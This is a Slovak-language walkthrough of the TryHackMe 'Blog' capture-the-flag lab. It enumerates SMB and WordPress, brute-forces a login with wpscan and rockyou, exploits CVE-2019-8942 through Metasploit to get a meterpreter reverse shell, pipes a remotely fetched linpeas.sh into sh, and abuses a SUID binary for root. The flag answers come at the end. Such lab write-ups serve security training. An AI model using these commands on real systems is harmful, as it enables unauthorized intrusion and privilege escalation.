TryHackMe - Blog
Kontrola binárneho súboru na zistenie kódu?
Úvod
Osobne neodporúčam používať WordPress, pokiaľ to nie je absolútne nevyhnutné. Množstvo zraniteľností, ktoré sa denne objavujú, je šialené.
Najprv som si nemyslel, že je to Medium výzva, ale po nájdení binárneho súboru a preskúmaní som si uvedomil, že to nie je vtip.
Nmap
Začnime nmap skenom:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.139.64
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 57:8a:da:90:ba:ed:3a:47:0c:05:a3:f7:a8:0a:8d:78 (RSA)
| 256 c2:64:ef:ab:b1:9a:1c:87:58:7c:4b:d5:0f:20:46:26 (ECDSA)
|_ 256 5a:f2:62:92:11:8e:ad:8a:9b:23:82:2d:ad:53:bc:16 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-title: Billy Joel's IT Blog – The IT blog
|_http-generator: WordPress 5.0
|_http-server-header: Apache/2.4.29 (Ubuntu)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-02-28T14:11:25
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: blog
| NetBIOS computer name: BLOG\x00
| Domain name: \x00
| FQDN: blog
|_ System time: 2025-02-28T14:11:25+00:00
|_nbstat: NetBIOS name: BLOG, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
Otvorené porty:
22/tcp
80/tcp
139/tcp
445/tcp
Prieskum
Keďže máme otvorené porty SMB, poďme hľadať Samba shares pomocou enum4linux
1
$ enum4linux -a 10.10.139.64
Vidíme Billyho share
1
2
3
print$ Disk Printer Drivers
BillySMB Disk Billy's local SMB Share
IPC$ IPC IPC Service (blog server (Samba, Ubuntu))
Pripojme sa k nemu a stiahnime dostupné súbory
1
2
3
4
5
6
7
8
9
10
11
12
$ smbclient \\\\10.10.139.64\\BillySMB\\
Password for [WORKGROUP\rene]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue May 26 20:17:05 2020
.. D 0 Tue May 26 19:58:23 2020
Alice-White-Rabbit.jpg N 33378 Tue May 26 20:17:01 2020
tswift.mp4 N 1236733 Tue May 26 20:13:45 2020
check-this.png N 3082 Tue May 26 20:13:43 2020
15413192 blocks of size 1024. 9790060 blocks available
smb: \>
Ok, môžeme skontrolovať súbory, urobíme to nasledovne
- Pripojíme si zdieľanú zložku do nášho lokálneho priečinka
- Odídeme z priečinka a vrátime sa doň, aby sa obnovil
1
2
3
4
5
$ sudo mount -t cifs //10.10.139.64/BillySMB /home/rene/tryhackme/blog
$ cd ..
$ cd blog
$ ls
Alice-White-Rabbit.jpg check-this.png tswift.mp4
Ok, skontrolujeme súbory
1
$ xdg-open Alice-White-Rabbit.jpg
1
$ xdg-open check-this.png
QR kód, ktorý nás pošle na https://www.youtube.com/watch?v=eFTLKWw542g
-> Pieseň Fire sme nespustili
A video obsahuje kozu, ktorá kričí do pesničky :D
Pozrime sa na obrázky pomocou steghide
Ok, žiada nás o passphrase, ktorú nepoznáme.
Extrahovanie niektorých informácií
1
2
3
4
5
6
7
8
9
10
$ steghide --info Alice-White-Rabbit.jpg
"Alice-White-Rabbit.jpg":
format: jpeg
capacity: 1.8 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase:
embedded file "rabbit_hole.txt":
size: 48.0 Byte
encrypted: rijndael-128, cbc
compressed: yes
Vyzerá to ako králičia nora(rabbit hole)..
Navštívme webovú stránku 10.10.139.64
Vyzerá to ako štandardná wordpress stránka
Existuje veľmi užitočný nástroj pre wordpress stránky wpscan
, ktorý nám umožňuje vypísať používateľské mená, poďme ho použiť
1
$ wpscan --url http://10.10.139.64 --enumerate u
Našli sme 2 užívateľov
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[i] User(s) Identified:
[+] bjoel
| Found By: Wp Json Api (Aggressive Detection)
| - http://10.10.139.64/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] kwheel
| Found By: Wp Json Api (Aggressive Detection)
| - http://10.10.139.64/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
Skúsme hrubú silu, môžeme to dokonca urobiť aj pomocou wpscan
1
wpscan --url http://10.10.139.64 -P /usr/share/wordlists/rockyou.txt -U "kwheel"
Ok prihlasovací formulár funguje iba cez blog.thm, takže musíme pridať ip do nášho súboru /etc/hosts
, aby fungoval s názvom blog.thm
1
2
echo "10.10.139.64 blog.thm" | sudo tee -a /etc/hosts
10.10.139.64 blog.thm
Pokúsil som sa nahrať reverzný shell do sekcie kde sú médiá, ale zdá sa, že nefunguje
Ok, po troche prieskumu týkajúceho sa obrázkov a nahrávania do wordpressu som narazil na túto zraniteľnosť CVE-2019-8942
Otvorme metasploit
a skontrolujme, či na to náhodou neexistuje modul
1
2
3
4
5
6
7
8
9
msfconsole
msf6 > search CVE-2019-8942
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/wp_crop_rce 2019-02-19 excellent Yes WordPress Crop-image Shell Upload
Aké šťastie, tak to využime
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
msf6 > use use exploit/multi/http/wp_crop_rce
msf6 exploit(multi/http/wp_crop_rce) > options
Module options (exploit/multi/http/wp_crop_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metas
ploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
THEME_DIR no The WordPress theme dir name (disable theme auto-detection if provid
ed)
USERNAME yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.133.135 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Poďme teda nastaviť požadované možnosti
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
msf6 exploit(multi/http/wp_crop_rce) > set PASSWORD <CENSORED>
msf6 exploit(multi/http/wp_crop_rce) > set RHOSTS blog.thm
msf6 exploit(multi/http/wp_crop_rce) > set username kwheel
msf6 exploit(multi/http/wp_crop_rce) > set LHOST 10.11.75.122
msf6 exploit(multi/http/wp_crop_rce) > exploit
[*] Started reverse TCP handler on 10.11.75.122:4444
[*] Authenticating with WordPress using kwheel:<CENSORED>...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[*] Sending stage (40004 bytes) to 10.10.139.64
[*] Attempting to clean up files...
[*] Meterpreter session 1 opened (10.11.75.122:4444 -> 10.10.139.64:45118) at 2025-02-28 16:29:26 +0100
meterpreter >
A máme tu reláciu meterpreter
Prepnime na tty shell príkazom shell
Zdá sa, že vlajka user.txt
tentoraz nie je reálnou vlajkou
Eskalácia privilégií
Eskalujme si nejako svoje privilégiá
sudo -l
nefunguje, skúsme stiahnuť linpeas.sh
z nášho počítača a spustiť ho
(Nezabudnite spustiť lokálny http server v priečinku, kde sa nachádza linpeas.sh
)
1
curl 10.11.75.122/linpeas.sh | sh
Wow ani jedna vec..
Po nejakom googlení som sa dozvedel o https://github.com/Anon-Exploiter/SUID3NUM
, takže si ho stiahneme a spustíme
1
curl 10.11.75.122/suid3num.py
Ok konečne niečo
Stiahnime si súbor (spustite lokálny http server na cieľovom počítači, kde je súbor checker
)
1
$ wget http://10.10.139.64:8000/checker
Poďme zanalyzovať binárny súbor pomocou nástroja ghidra
Dobre, po dlhom skúmaní sme s najväčšou pravdepodobnosťou našli kód, ktorý hľadáme
Funkčnosť kódu:
- Získa hodnotu enviromentálnej premennej
admin
pomocougetenv("admin")
- Kontroluje, či je nastavený admin
- Ak nie je nastavený admin (t. j. NULL), vypíše sa „Not an Admin.“
- Ak je admin nastavený, prejde na ďalší krok
- Eskaluje privilégiá volaním setuid(0) (na nastavenie ID užívateľa na root, ak je to povolené)
- Spustí nový shell spustením system(“/bin/bash”), čím spawne root shell
Čo teda v podstate môžeme urobiť, je nastaviť premennú admin
na čokoľvek a spustiť checker
1
2
3
admin=rene /usr/sbin/checker
id
uid=0(root) gid=33(www-data) groups=33(www-data)
Root Vlajka
Takže môžeme získať všetky vlajky
Používateľ
Root
Zvyšok otázok:
Kde sa našiel súbor user.txt?
Odpoveď:
1
/media/usb
Aký CMS používal Billy?
Odpoveď:
1
Wordpress
Ktorá verzia vyššie uvedeného CMS bola použitá?
1
5.0